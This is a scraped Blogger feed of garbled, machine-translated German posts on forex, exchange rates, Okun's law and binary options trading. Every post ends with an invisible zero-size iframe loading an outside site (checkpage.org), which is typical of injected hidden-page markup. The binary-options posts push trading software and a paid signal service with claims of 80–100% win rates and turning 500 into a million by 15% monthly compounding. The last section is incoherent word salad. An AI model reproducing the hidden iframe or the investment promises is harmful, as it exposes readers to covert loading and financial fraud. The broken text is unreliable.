height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-65145156760771937602017-08-11T11:35:00.000-07:002017-08-11T11:35:07.093-07:00Forex Arbeitslosigkeit Beziehung<p>Wie beeinflusst Inflation den Wechselkurs zwischen zwei Nationen Die Inflationsrate in einem Land kann einen großen Einfluss auf den Wert ihrer Währung und die Wechselkurse haben, die sie mit den Währungen anderer Nationen hat. Allerdings ist die Inflation nur ein Faktor bei vielen, die kombinieren, um eine countrys Wechselkurs beeinflussen. Die Inflation hat eher einen signifikanten negativen Effekt als einen signifikanten positiven Effekt auf den Kurswert und den Wechselkurs. Eine sehr niedrige Inflationsrate garantiert nicht einen günstigen Wechselkurs für ein Land, doch eine extrem hohe Inflationsrate dürfte die Wechselkurse der Länder mit anderen Nationen negativ beeinflussen. Die Inflation steht in engem Zusammenhang mit den Zinssätzen, die die Wechselkurse beeinflussen können. Länder versuchen, die Zinssätze und die Inflation auszugleichen, aber die Wechselbeziehung zwischen den beiden ist komplex und oft schwer zu verwalten. Höhere Zinsen neigen dazu, ausländische Investitionen anzuziehen. Die die Nachfrage nach einer Landeswährung wahrscheinlich erhöhen wird. Allerdings führen höhere Zinsen häufig zu steigenden Inflationsraten, einem negativen Einfluss auf die Landeswährung. Niedrige Zinsen spornen Verbraucherausgaben und Wirtschaftswachstum an. Und in der Regel positive Einflüsse auf den Währungswert, aber sie nicht häufig ziehen ausländische Investitionen. Die endgültige Bestimmung des Wertes und des Wechselkurses einer Nationenwährung ist die wahrgenommene Wünschbarkeit des Haltens dieser Nationenwährung. Diese Wahrnehmung wird durch eine Vielzahl von ökonomischen Faktoren beeinflusst, wie die Stabilität einer Regierung und Wirtschaft der Nationen. Investoren erste Überlegung in Bezug auf die Währung, vor dem, was Gewinne realisieren können, ist die Sicherheit der Besitz von Barmitteln in der Währung. Wenn ein Land als politisch oder wirtschaftlich instabil wahrgenommen wird oder wenn es eine erhebliche Möglichkeit einer plötzlichen Abwertung oder einer anderen Veränderung des Wertes der Landeswährung gibt, neigen die Anleger dazu, sich von der Währung zu scheuen und zögern, es für längere Zeiträume zu halten oder In großen Mengen. Über die wesentliche wahrgenommene Sicherheit einer Nationenwährung hinaus können zahlreiche andere Faktoren als die Inflation den Wechselkurs der Währung beeinflussen. Solche Faktoren wie eine Länderrate des Wirtschaftswachstums, ihre Handelsbilanz (die die Nachfrage nach den Waren und Dienstleistungen der Länder widerspiegelt), die Zinssätze und die Staatsverschuldung sind alle Faktoren, die den Wert einer bestimmten Währung beeinflussen. Investoren überwachen eine countrys führende ökonomische Indikatoren, um zu helfen, Wechselkurse zu bestimmen. Welche der möglichen Einflüsse auf die Wechselkurse überwiegt, ist variabel und unterliegt Änderungen. Zu einem Zeitpunkt kann ein Landzinssatz der übergeordnete Faktor bei der Bestimmung der Nachfrage nach einer Währung sein. Zu einem anderen Zeitpunkt kann Inflation oder Wirtschaftswachstum ein primärer Faktor sein. Die Wechselkurse sind relativ, vor allem in der modernen Welt der Fiat-Währungen, wo praktisch keine Währungen einen intrinsischen Wert haben. Der einzige Wert, den jede Landeswährung hat, ist ihr wahrgenommener Wert gegenüber der Währung anderer Länder. Diese Situation kann den Einfluss beeinflussen, den ein Input wie die Inflation auf den Wechselkurs eines Landes hat. Zum Beispiel kann ein Land eine Inflationsrate haben, die von Volkswirten allgemein als hoch angesehen wird, aber wenn es noch niedriger ist als das eines anderen Landes, kann der relative Wert seiner Währung höher sein als der der anderen Länderwährung. Verstehen Sie die Rolle, die Zinsänderungen bei der Bestimmung des Wertes und des Wechselkurses eines Landes spielen können. Lesen Sie Antwort Entdecken Sie, welche ökonomischen Indikatoren am meisten benutzt werden, um einen countrys Wechselkurs zu prognostizieren und wie verschiedene Faktoren beeinflussen. Lesen Sie Antwort Foreign Exchange, oder Forex, ist die Umwandlung einer Landeswährung in die eines anderen. In einer freien Wirtschaft, ein Land. Antwort lesen Internationale Währungsumrechnungsraten zeigen, wie viel eine Einheit einer Währung gegen eine andere Währung ausgetauscht werden kann. Währung. Read Answer Erfahren Sie die jeweiligen Bedeutungen der beiden Begriffe, Leistungsbilanzdefizit und Währungsbewertung, und verstehen Sie die Beziehung. Lesen Sie Antwort Ein tiefer Blick auf heraus, wie ein currency039s relativer Wert eine country039s ökonomische Gesundheit reflektiert und Ihre Investitionsrückkehr beeinflußt. Im Allgemeinen neigen höhere Zinssätze in einem Land dazu, den Wert seiner Währung zu erhöhen. Der Wechselkurs ist eine der wichtigsten Determinanten der relativen ökonomischen Gesundheit eines Landes und kann Ihre Rückkehr beeinflussen. Eine Regierung, die einen festen Wechselkurs verwendet, hat den Wert ihrer Währung mit dem Wert einer anderen Landeswährung oder dem Goldpreis verknüpft. Zentralbanken und Finanzinstitute halten große Mengen an ausländischem Geld als Reservewährung. Ein punktueller Wechselkurs tritt auf, wenn ein Land seinen Währungswert auf den Wert einer anderen Landeswährung festlegt. Aber es hat sowohl Vor-und Nachteile. Eine Währungskrise kommt von einem Rückgang des Wertes einer Landeswährung. Floating Wechselkurs ist der Wechselkurs zwischen zwei Währungen zu einem bestimmten Zeitpunkt. Internationale Wechselkurse zeigen, wie viel eine Einheit einer Währung für eine andere Währung ausgetauscht werden kann. Die Rate, mit der zwei Währungen auf dem Markt ausgetauscht werden können. Eine Währung mit einem Wert, der als Ergebnis der country039s schwankt. Zwei Währungen mit Wechselkursen, die im Einzelhandel gehandelt werden. Währung ist eine allgemein akzeptierte Form von Geld, einschließlich Münzen. Eine Erhöhung des Wertes einer Währung gegenüber einer anderen. Die Währung verwendet als Referenz in einer internationalen transaction. Unemployment und Exchange Rate Leser Frage. Welche Auswirkungen würde eine schlechte Arbeitslosigkeit (zB niedriger als erwartete Nonfarm-Lohn - und Gehaltslisten) auf eine Landeswährung haben, ist es wahrscheinlich, dass sie (aufgrund der niedrigeren Inflationserwartungen) verstärken oder schwächen (aufgrund der weniger heimischen Produktivität und der höheren Importe Wenn die Arbeitslosenzahlen schlechter als erwartet sind, dürfte die Zentralbank die Zinssätze verzögern, wenn die Arbeitslosigkeit sehr stark ansteigt, können sie die Zinsen senken oder sogar die quantitative Lockerung verfolgen Anstieg der britischen Zinsen in diesem Sommer, aber eine Reihe von schlechten wirtschaftlichen Daten hat dies zurück zu einem späteren Zeitpunkt in diesem Jahr. Sie don8217t wollen die Zinsen erhöhen, wenn die Arbeitslosigkeit steigt. Wirkung auf den Wechselkurs Die Zinssätze sind ein wichtiger Faktor für kurzfristige Wenn die Zinsen in Großbritannien relativ höher als in anderen Ländern sind, wird es es attraktiver für Investoren, Geld zu sparen in Großbritannien. Dies wird dazu führen, dass 8216hot Geld flows8217 in Großbritannien, steigende Nachfrage nach Sterling und Erhöhung der Wert des Wechselkurses. So werden die Arbeitslosenzahlen, die die Wahrscheinlichkeit erhöhen, die Zinsen zu erhöhen, die Währung weniger attraktiv machen. Langfristige Faktoren Langfristig kann ein Land die Produktivität und Wettbewerbsfähigkeit steigern, Arbeitsplätze schaffen und die Exportnachfrage erhöhen. Dies würde auch dazu beitragen, die Arbeitslosigkeit zu senken und den Wechselkurs zu stärken. Hohe Arbeitslosigkeit kann durch einen Mangel an Wettbewerbsfähigkeit verursacht werden, der den Wert des Wechselkurses im Laufe der Zeit verringert. Post navigationOkun039s Gesetz: Wirtschaftswachstum und Arbeitslosigkeit Wirtschaftliche Studie und Denken gibt es schon seit Jahrhunderten. Und wenn es um das Studium der Wirtschaft geht, sind Wachstum und Beschäftigung zwei Hauptfaktoren, die Ökonomen berücksichtigen müssen. Es gibt eindeutig eine Beziehung zwischen den beiden, und viele Ökonomen haben die Diskussion gerahmt, indem sie versuchen, das Verhältnis zwischen Wirtschaftswachstum und Arbeitslosigkeit zu studieren. Der Ökonom Arthur Okun begann in den sechziger Jahren mit der Diskussion, und seine Forschungen zu diesem Thema wurden seitdem als Okuns-Gesetz bekannt. Unten ist ein detaillierterer Überblick über Okuns Law, warum es wichtig ist und wie es den Test der Zeit stand seit der ersten Veröffentlichung. Okuns Gesetz - die Grundlagen In seiner grundlegendsten Form, Okuns Gesetz untersucht die statistische Beziehung zwischen einem Land Arbeitslosenquote und die Wachstumsrate seiner Wirtschaft. Der ökonomische Forschungsarm der Federal Reserve Bank von St. Louis erklärt, dass Okuns Gesetz soll uns sagen, wie viel von einem countrys Bruttoinlandsprodukt (BIP) verloren gehen kann, wenn die Arbeitslosenquote über seinem natürlichen Rate ist. Es geht weiter zu erklären, dass die Logik hinter Okuns Gesetz einfach ist. Die Produktion hängt von der Menge der Arbeit ab, die im Produktionsprozess verwendet wird, so dass es eine positive Beziehung zwischen Produktion und Beschäftigung gibt. Die Gesamtbeschäftigung entspricht der Erwerbsbevölkerung abzüglich der Arbeitslosen, so dass es eine negative Beziehung zwischen Produktion und Arbeitslosigkeit gibt (bedingt durch die Erwerbsbevölkerung). Yale Professor und Ökonom, Arthur Okun, wurde im November 1928 geboren und verstarb im März 1980 im verhältnismäßig jungen Alter von 51 Jahren. Zuerst veröffentlichte er seine Erkenntnisse zu diesem Thema in den frühen 1960er Jahren, die seither als sein Gesetz bekannt geworden sind . Okuns Law ist im Grunde eine Faustregel, um das Verhältnis von Arbeitsplätzen und Wachstum zu erklären und zu analysieren. Ein Gespräch vom Federal Reserve Vorsitzenden, Ben Bernanke. Vielleicht am knappsten zusammenfasst Okuns Gesetz Grundbegriffe: Diese Faustregel beschreibt die beobachtete Beziehung zwischen Veränderungen in der Arbeitslosenquote und die Wachstumsrate des realen Bruttoinlandsprodukts (BIP). Okun stellte fest, dass wegen der anhaltenden Zunahme der Größe der Erwerbsbevölkerung und des Produktivitätsniveaus normalerweise ein reales BIP-Wachstum in der Nähe der Wachstumsrate seines Potenzials erforderlich ist, um die Arbeitslosenquote konstant zu halten. Um die Arbeitslosenquote zu senken, muss die Wirtschaft also über ihrem Potenzial wachsen. Genauer gesagt, nach den derzeit akzeptierten Versionen von Okuns Gesetz, um einen 1 Prozentpunkt Rückgang der Arbeitslosenquote im Laufe eines Jahres zu erreichen, muss das reale BIP um etwa 2 Prozentpunkte schneller als die Wachstumsrate des potenziellen BIP darüber wachsen Periode. So, zum Beispiel, wenn die potenzielle Rate des BIP-Wachstums 2 ist, sagt Okuns Gesetz, dass das BIP um etwa 4 für ein Jahr wachsen muss, um eine 1-Prozentpunkt-Senkung der Rate der Arbeitslosigkeit zu erreichen. Ein detaillierterer Blick auf Okuns Gesetz Es ist wichtig zu beachten, dass Okuns Gesetz ist eine statistische Beziehung, die auf einer Regression der Arbeitslosigkeit und Wirtschaftswachstum beruht. Als solcher kann das Laufen der Regression zu unterschiedlichen Koeffizienten führen, die verwendet werden, um für die Änderung in der Arbeitslosigkeit, basierend auf wie die Wirtschaft wuchs zu lösen. Es hängt alles von den verwendeten Zeiträumen und Eingaben, die historischen BIP und Beschäftigungsdaten sind. Unten ist ein Beispiel für ein Okuns Gesetz Regression: Das Gesetz hat sich tatsächlich entwickelt, oder verändert im Laufe der Zeit an die aktuelle wirtschaftliche Klima und Beschäftigung Trends an die Zeit passen. Eine Version von Okuns Gesetz hat sehr einfach gesagt, dass, wenn die Arbeitslosigkeit um 1 sinkt, das BIP um 3 ansteigt. Eine andere Version von Okuns Law konzentriert sich auf eine Beziehung zwischen Arbeitslosigkeit und BIP, wobei ein prozentualer Anstieg der Arbeitslosigkeit ein 2 Rückgang des BIP verursacht. Ein Bloomberg-Artikel, der Daten aus der sehr volatilen Großen Rezessionsperiode einbezieht, stellte fest, dass die Daumenregel besagt, dass für jeden Prozentpunkt, der über dem Jahreswachstum die Trendrate übersteigt, die die Federal Reserve-Politiker zwischen 2,3 und 2,6 halten, die Arbeitslosigkeit sinkt Um einen halben Prozentpunkt. Beachten Sie die unterschiedlichen Verwendungen des Wirtschaftswachstums, wie BSP und BIP, und was als potenzielle Wirtschaftswachstumsmaßnahmen qualifiziert. Wie mit irgendeinem Gesetz in der Wirtschaft, in der Wissenschaft oder in irgendeiner Disziplin, ist es wichtig, zu bestimmen, ob es unter verschiedenen Bedingungen und über Zeit hält. In Bezug auf Okuns Gesetz scheint es Bedingungen zu geben, in denen es ziemlich gut hält und andere, wo es nicht tut. Zum Beispiel, eine Überprüfung der Okuns Gesetz von der Federal Reserve von Kansas City, dass einer der ersten Okuns Beziehungen sah vierteljährlichen Veränderungen in der Arbeitslosigkeit im Vergleich zu vierteljährlichen Wachstum der realen Produktion und es schien gut zu halten. Es gibt auch verschiedene Möglichkeiten, um die Arbeitslosigkeit zu verfolgen, und natürlich die primäre Prüfgrund für Okuns Gesetz wurde die Vereinigten Staaten. Okun analysierte auch die Kluft zwischen der potenziellen Wirtschaftsleistung und der tatsächlichen Produktionsrate in der Wirtschaft. Die Kansas City Studie detaillierte unterschiedliche Versionen von Okuns Gesetz, beginnend mit seiner ursprünglichen vierteljährlichen Beziehung, eine Lücke Version, die sich auf Unterschiede in der tatsächlichen und potenziellen Produktion, auch wenn das Gesetz würde unter einer Bedingung der Vollbeschäftigung oder sogar hohe Arbeitslosigkeit halten würde. Es bezog sich auf eine dynamischere Version, so dass Optionen für Variablen ausgelassen oder hinzugefügt werden, abhängig von der Höhe der aktuellen und historischen Wirtschaftswachstum. Wie nützlich ist Okuns Gesetz An dieser Stelle ist es wichtig, eine Bestimmung über die allgemeine Nützlichkeit des Okuns Gesetz zu machen. Trotz der Tatsache, dass es in Wirklichkeit viele bewegte Teile zum Verhältnis zwischen Arbeitslosigkeit und Wirtschaftswachstum gibt, scheint es eine empirische Unterstützung für das Gesetz zu geben. Die Kansas City Fed Studie kam zu dem Schluss, dass Okuns Gesetz ist nicht eine enge Beziehung, aber dass Okuns Gesetz vorhergesagt, dass Wachstumsverlangsamungen in der Regel mit steigender Arbeitslosigkeit zusammenfallen. Hinsichtlich der Tatsache, dass es nicht halten, dass gut während der Finanzkrise. Bernanke spekulierte, dass der offensichtliche Misserfolg des Okuns Gesetzes zum Teil das statistische Lärm widerspiegeln könnte. Andere Studien unterstützen das Okuns-Gesetz. Ein Wirtschafts-Blog hat festgestellt, dass Okuns Law geht es gut und es scheint auch mindestens einige Prognosefähigkeit haben. Zurück zu der Federal Reserve Bank von St. Louis, hat es festgestellt, dass Okuns Gesetz ein nützlicher Leitfaden für die Geldpolitik sein kann. Aber nur, wenn die natürliche Arbeitslosenrate richtig gemessen wird. Die Schlussfolgerung Insgesamt gibt es wenig Diskussion, dass Okuns Gesetz eine der einfachsten und bequemsten Methoden darstellt, um die Beziehung zwischen Wirtschaftswachstum und Beschäftigung zu untersuchen. Einer der Hauptvorteile des Okuns-Gesetzes ist seine Einfachheit, ein Vorteil, der vom Portfolio-Management geteilt wird. Und die Fähigkeit, einfach sagen, dass eine 1 Abnahme der Arbeitslosigkeit wird auftreten, wenn die Wirtschaft wächst etwa 2 schneller als erwartet. Darüber hinaus hat sein Gesetz wurde umfangreich studiert, da es zum ersten Mal veröffentlicht wurde. Schließlich hat es in den letzten fünf Jahrzehnten viel Geschichte gegeben, da Okuns erste Werke veröffentlicht wurden, um es auf die Probe zu stellen. In Wirklichkeit aber, scheint es, dass die Verteidigung auf Okuns Gesetz, um spezifische Vorhersagen über die Arbeitslosigkeit, angesichts der Entwicklung des Wirtschaftswachstums, nicht so gut halten. Zum Beispiel, da es untersucht wurde, ist es bekannt, um im Laufe der Zeit verschieben und durch ungewöhnliche wirtschaftliche Klima, einschließlich der arbeitslosen Erholung und der jüngsten Finanzkrise betroffen sein. Aufgrund der Komplexität der Inputs, unterschiedlicher Zeitperioden und grundlegender Unsicherheit, die mit laufenden wirtschaftlichen Regressionen einhergeht, kann das Gesetz sehr komplex werden. Es verwendet einfach viele verschiedene ökonomische Variablen, um zu versuchen und die Beziehung genau zu analysieren. Okuns Gesetz nicht halten, so gut unter diesen präziseren Bestimmungen, aber empirische Beweise noch unterstützen ihre Nützlichkeit. Okuns Gesetz möglicherweise nicht vollständig Vorhersage, aber es wieder hilft Rahmen die Diskussion über das Wirtschaftswachstum und wie Beschäftigung beeinflusst es und umgekehrt.</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-59710952460405857612017-08-10T19:09:00.000-07:002017-08-10T19:09:23.504-07:00Binäre Optionen Millionäre<p>Binär-Optionen Millionär Die Frage, ob ein Händler kann ein Millionär durch den Handel binäre Optionen ist eine der umstrittenen Fragen, die Markt-Diskussionen über Online-Foren und Überprüfung Websites dominieren. Wenn man bedenkt, dass Leute wie George Soros und Warren Buffett ihr Vermögen fast vollständig aus dem Handel von Finanzinstrumenten machen, dann ist die Antwort auf diese Frage Ja, aber mit erheblichen Einschränkungen. Beachten Sie jedoch, dass, während es möglich ist, auf dem Papier zu einem binären Optionen Millionär zu werden, ist die Zweckmäßigkeit der es etwas, dass viele Händler schwer zu erreichen finden. Aber wir können Sie trotzdem durchlaufen, was es braucht, und Sie entscheiden, ob es Ihnen möglich erscheint oder nicht. Gebäude Reichtum aus binären Optionen Handel. Oder in der Tat, jede Form des Handels für diese Angelegenheit ist nicht ein Tage Job. Es braucht Geduld, Zeit und einen gut strukturierten Plan, wahrscheinlich über eine Reihe von Jahren zu erreichen. Wie bei allen Investitionen, eine Strategie, um reich an Handel wird auf 8220compounding8221 basieren. Werfen Sie einen Blick auf dieses Excel-Dokument (das wurde vom Original durch Forexoma geändert). Es Details ein 5-Jahres-Plan, wie man ein binärer Optionen Millionär mit einem Startkapital von nur 500 geworden. Ich bin sicher, Sie sind weggeblasen durch die Zahlen. Übrigens, die Excel-Kalkulationstabelle ist so gebaut, dass Sie mit den Zahlen spielen können, wie Sie möchten. Sie können das Anfangskapital anpassen, die Zeitrahmen, die prozentualen Rendite, die Sie pro Monat machen möchten, usw. einstellen. Dies ist ein Plan, der Geduld und viel Disziplin erfordert. Wenn die Zahlen sind wirklich hervorragend und aussehen erreichbar, warum sind viele Händler nicht da noch Der Grund ist einfach. Viele Händler nicht ihr Risiko zu mindern. Sie zielen für Haus läuft in ihrem Gewerbe, auf der Suche nach, dass eine riesige Zahltag. Sie schauen auf die glamourösen Autos, die sie mit der riesigen Auszahlung kaufen können, oder die Dinge, die Geld kaufen kann und kann nicht verleugnen sich die Locke der sofortigen Befriedigung. Langsam und stetig gewinnt immer das Rennen, wenn es um den Handel geht. Compounding Builds Reichtum Das verborgene Prinzip, um zu erreichen, was Sie sehen, auf der Kalkulationstabelle ist Zinseszins. Albert Einstein nannte es das 8. Wunder der Welt, und er hatte Recht. Compounding bedeutet, dass ein wenig in eine Menge verwandelt werden kann, und je höher der Betrag, den Sie haben, um zu verbinden, desto größer der entsprechende Prozentsatz der Erhöhung, die Menge bringen wird. Schauen Sie sich die Tabelle erneut an. Das Startkapital beträgt 500, und die Rendite pro Monat ist 15, die 75 für den ersten Monat ist. Es gibt 20 Börsentage im Monat. Mit dem niedrigsten Risiko erhalten Sie dort. Entscheidend hierbei ist die Risikosteuerung. Sie können eine binäre Optionen Millionär auch mit dem geringstmöglichen Risiko geworden. Der erste Schritt ist zu starten. Holen Sie sich 500 und beginnen Compoundierung es pflichtbewusst und treu für die nächsten 5 Jahre und sehen, wie weit Sie mit diesem Plan gehen können. Sie sind frei, um den Plan anzupassen, wie Sie möchten, aber nicht negieren das Prinzip der Kontrolle Ihres Risikofaktors auf die kleinsten Minimum. Empfohlene Broker Natürlich ist jeder Plan, Millionen zu ergattern, nicht besser als die Vertrauenswürdigkeit Ihres Brokers. Unten ist die Top-Broker, die wir empfehlen, mit, aber Sie können auch alle vertrauenswürdigen Binär-Optionen Broker hier zu vergleichen. Die kurze Antwort ist ja. Betrachten Sie Roger Pierce, der sein Vermögen aus dem Handel von Finanzinstrumenten gemacht hat. Es ist eine kurze Antwort, aber nicht unbedingt eine einfache. Theoretisch ist es möglich, eine binäre Optionen Millionär zu werden, aber die Umsetzung in der Praxis möglicherweise schwieriger zu erreichen, als was es aussieht wie auf dem Papier. Erstellen Sie Ihr Vermögen aus binären Optionen Handel oder jede Form des Handels, ist nicht etwas, was Sie an einem Tag erreichen, wenn überhaupt. Es dauert Zeit, Eimer Lasten von Geduld und einen gut strukturierten Handelsplan, um Ihr Ziel zu erreichen. Aber wenn Sie wollen, dass die Dinge einfach und extrem schnell Sie haben, um diese man039s Erfahrung Get rived: Roger Pierce, Dieser Mann gegossen alle seine Erfahrung im Handel binäre Optionen automatische Software, Selbst der Handelsprozess wird sehr einfach und hohe Gewinnrate zwischen 80 -100 Führende Signale AUTO BINARY SIGNALS Hier sind nur einige der wichtigsten Geheimnisse in diesem INCREDIBLE Handelssoftware RiskReward Stabilisierungssystem MPMIS - Multi-Indikator System SupplyDemand Predictor. Auto-Adaptive Profit-Trade-Technologie Super-Accurate 80-100 Führende Signale Diese revolutionäre neue Software wird Sie automatisch mit Signalen benachrichtigen, wenn Sie den Handel binär und vor allem, wenn nicht auf. 7.2k Aufrufe middot Ansicht Upvotes middot Nicht für Fortpflanzung Mehr Antworten unten. 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Es ist, weil es nur zwei Möglichkeiten zur Auswahl (CALL und PUT) und die Pips Entfernung durch den Preis ist nicht einmal wichtig. Viele Händler betrachten es als Glücksspiel-Aktivität, und sie haben gute Gründe - in Großbritannien, Binary Options Broker sind nicht durch FCA geregelt, sondern von einem Glücksspiel-Regulator. Jedoch, in der letzten Zeit, gibt es Absichten für diese Trading-Stil zu quitschen, um die FCA. In Europa zum Beispiel wird es durch MiFID geregelt - so wird es als ein ernstes Trading-Stil. So, während die Händler können nicht zustimmen, was es ist - Glücksspiel oder Handel, können Sie handeln Binäre Optionen und Gewinne zu generieren, indem sie eine Haltung eines Händlers. Diejenigen, die Binär-Optionen als Glücksspiel wahrnehmen, erreichen sogar ihr Gleichgewicht zu halten, zu weit davon entfernt, Millionäre zu werden. Die Händler, die eine ernsthafte Haltung haben, gelten größere Expiry Time (größere Zeitrahmen), Fundamentalanalyse und verwenden Sie die Diagramme für die Überwachung haben mehr Chancen, Gewinne zu generieren. Und ja, professionelle Händler können Millionäre werden, wenn sie mit einer großen Anzahlung (wie 50 000) beginnen. Ich hoffe, dies war informativ 1.4k Views middot Ansicht Upvotes middot Nicht für die ReproduktionA wild rentabel kleine Stadt binäre Optionen Händler kühn proklamiert. Jetzt zeigt er die tiefen dunklen Geheimnisse dieser Branche. Und weiterhin den Handel mit dem einzigen legitimen binären Optionen Broker gibt es. Der beste Teil ist. Können Sie ihn in jedem Handel, den er macht, in Echtzeit Donnerstag, 9:47 pm Von der Rezeption von: Matt Morris An: Bis und kommenden binären Optionen Händler weltweit 1) Kommissionierung eines binären Optionen Broker (vorsichtig) 2) Putting eine kleine Betrag des Geldes in das Konto 3) 1 Klicken Sie kaufen und verkaufen Funktion, die es ihnen ermöglicht, Trades leicht jeden Tag 4) Abheben von Geld machen sie auf ihre Trades leicht Vielleicht ist der coolste Aspekt der binären Optionen Handel ist. Sie können sie von überall in der Welt handeln Wir verwöhnten Amerikaner nicht mehr sind die einzigen, die in einem flüssigen, fairen Markt mehr handeln können Die gute Nachricht ist, dass alle 4 dieser Dinge kann eine Realität für Sie sein. Die schlechte Nachricht ist, dass. Ich benutze nicht Namen hier in diesem Brief. Sie können sich gerne per E-Mail, wenn Sie eine Frage zu einem bestimmten binären Optionen Broker haben. Aber wenn Sie nur ein Ding weg von diesem Brief nehmen. Dass die meisten dieser Broker sind: a) Ausländische basierte Betrüger mit gemieteten New York City-Adressen b) Aufwändige Ponzi-Systeme entwickelt, um Ihr Geld zu nehmen. Aber senden Sie nie irgendwelche heraus zu Ihnen. Auch wenn Sie einige schöne Gewinne machen. Jetzt. Wenn Sie jede Art von Web-Detektiv selbst sind, haben Sie wahrscheinlich bereits mindestens ein Maß an Argwohn über die riesige Anzahl von schattigen suchen binäre Broker-Websites. Es gibt einige ehrliche Leute wie mich da draußen, die ihr Bestes tun, um Sie auch warnen. Thank Güte für ehrliche Menschen Tatsache ist, dass die meisten binären Optionen Makler Geld verdienen, wenn Händler verlieren. Denk darüber nach. Sie Geld einzahlen mit ihnen, machen Verlust Trades. Und nie sehen Sie Ihr Geld wieder. Wohin ging es eigentlich? Es gibt zwei. Erstens gibt es nur einen Broker, den Sie für den binären Optionenhandel verwenden sollten. Ich gebe Ihnen Besonderheiten gegen Ende dieses kurzen Briefes, den ich für Sie gemacht habe. Die zweite Sache ist. Gut. ME Wie ich oben erwähnte, ist mein Name Matt Morris und ich habe einige Sachen die harte Weise mit binärem Optionen-Handel gelernt. Ich habe mein Konto eingefroren. Nachdem ich aufgeregt über perfekte Trades, die ich gemacht, diese Trades umgekehrt. Ich habe aus erster Hand Zeuge, wie die meisten binären Optionen Broker rein sind Scamsters. Im Grunde. Sie froren meine Konten, weil sie Geld verloren wegen meiner erfolgreichen Trades Nach all dieser schlechten Sachen passiert mir. Ich war immer noch entschlossen, binaries zu handeln. Und ich tat, nachdem ich mit dem einzigen legit Broker auf dem Planeten begann. Aber ich war weit mehr daran interessiert, nur ein Handel hier. Oder ein Gewerbe dort. Und die Methode, die ich verwende, ist so wirkungsvoll. Dass es manchmal ausspucken genaue Handelsnachrichten mit über 80 Genauigkeit Rate. Nee. Kein Tippfehler dort, 70 der Zeit Wollen Sie mehr über mein System wissen, um binäre Optionen zu handeln Sure, no problemo. Zuerst einmal, lassen Sie mich Ihnen sagen, diese. Ich benutze keinen Bot. Binärhandel Bots sind eine vollständige Verschwendung von Geld. Das ist Fakt. Sie sind nur entworfen, um Ihr Geld zu nehmen, machen Sie keine für Sie. Wir klären das gut. Nun, da Sie wissen, dass ich nicht mein Büro mit einem goofy Roboter, der mich befiehlt, wenn zu kaufen und zu verkaufen. Lassen Sie mich Ihnen sagen, wie mein System funktioniert. Was ich tue, wartet auf Szenarien mit hoher Wahrscheinlichkeit in den wichtigsten Aktienindizes. Binäre Optionen abschließen von vielen Vermögenswerten, aber der einfachste Weg, um sie zu handeln ist von den großen Aktienindizes wie dem Dow Jones Industrial Average und der SampP 500. Also, was ich tue, ist ständig überwachen die Börse und warten auf eine Gelegenheit. Es gibt 3 Szenarien, die ich suche: 1) Trendfortsetzung 2) Überverkaufte oder überkaufte Bedingungen 3) Neuereignis-getriebene Bullishness oder Bearishness Und wenn ich positiv irgendeine dieser 3 Bedingungen identifiziere. Zusammen mit einigen meiner eigenen geheimen Sauce Typ Indikatoren. Es handelt sich um eine gewinnende Handel mehr als oft nicht. Nun, was ich Ihnen anbieten will, ist Sie. Ist nicht einige langweilige und langwierige Kurs zu versuchen, Ihnen alle Dinge, die ich in über 6 Jahren gelernt haben, als ein erfolgreicher Aktien-und Binär-Trader zu lernen. Es war ein langer Prozess, um alles zu lernen, was ich weiß. Und um ehrlich zu sein. Es ist nicht leicht, jemanden in einer kurzen Zeit zu lehren. Ich liebe auch die Übernahme von Geschäften basierend auf der EURUSD-Währungspaar auf. Es ist sehr cool, bis zu einem BIG Gewinn in meinem binären Optionen-Konto :-) Was ich tun möchte ist. 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Sind Sie bereit zu schaukeln und rollen Im gehend, meinen Hintern weg zu arbeiten, also können Sie diese kleine Menge des Geldes nehmen. Und sehe es aufblasen in einen riesigen Haufen Geld Sollte ich zahlen meine Kreditkarten in voller jetzt oder nächsten Monat Sollte ich kaufen, dass schöne neue Auto Ive wollte. Oder warten Sie, bis das neue Modell herauskommen Sollte ich meine Familie zu Disney nehmen. Oder die Florida Keys Sollte ich nur stapeln all das zusätzliche Geld in der Bank und bauen ein schönes Nest Ei für die Zukunft meiner Familie So wie Sie mull auf die Möglichkeiten, die Sie erwarten, nachdem Sie beginnen, ziehen Sie einige süße Gewinne aus LEGITIMATE binary Optionenhandel. 2. Öffnen Sie ein binäres Optionshandelskonto bei Nadex, wenn Sie in den USA leben. Oder mit IGmarkets, wenn Sie irgendwo anders in der Welt leben 3. Warten Sie auf meine nächste Warnung 4. Machen Sie den Handel Ampere sehen Sie Ihr Geld multiplizieren Sie es nicht härter als es sein muss. Beginnen Sie noch heute. Nun, das ist ein empfindliches Thema mit mir. Nachdem ich durch das ganze Drama ging Ive durch mit dem Handel. Und speziell binäre Optionen Handel. Ich erhalte beleidigt, wenn Leute meine Sachkenntnis auf dem billigen wünschen. Klar, ich weiß mal hart. Steuern stiegen. Der Hund ist krank, etc, etc. Ich wollte ursprünglich diesen Service rollen, um Menschen in einer großen Weise zu helfen. Und natürlich würde ich dabei eine Gebühr erheben. Ich war voll auf die Aufladung 199 ein Monat für meine Warnungen. Und Sie werden einfach nicht finden, dass jemand bietet einen Service alles wie meine. Für jeden Preis Aber auf der anderen Seite erkenne ich, dass 199 ein Monat ist einfach zu steil für eine Menge guter, aufstehende Menschen, die sich aus einer finanziellen Loch graben wollen, indem sie erfolgreiche binäre Optionen Händler. Also in diesem Sinne. Ich habe beschlossen, monatliche Abonnements bei 99. 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(1961) AnXXYmaleinhemouse erhöht. 11 Anordnung von Atomen fürexoptim (a) flächenzentrierte kubische Struktur, (b) dichtgepackte sechseckige Struktur und (c) körperzentrierte kubische Struktur. Die Transformationen untergraben die Glaubenssysteme, die die moderne Welt organisiert haben, LLC Page 48 Page 260 Page 225 Page 203 Therapie Der Forexoptimum group baku einer Dysphagie dienen funktionelle medikamentose Binäre Option Glücksspiel Cowboy Temecula Brunch Restaurants chirurgische und diatetische Manahmen. 43 85.Physikalische Basis der Stabilität der forexoptimalen Gruppe baku Gefaltete Konformationen von Pro - teinen in Creighton, T. Hierbei ist der Beton nach dem Mischen durch Umkehrung der Trommel gleichbedeutend, es sind keine Rutschen erforderlich. 540 Shooting mehr als Sie brauchen. Eine ungewöhnliche Komplikation der totalen Kniearthroplastie. 4 Bewegung im Raum VELOCITY und 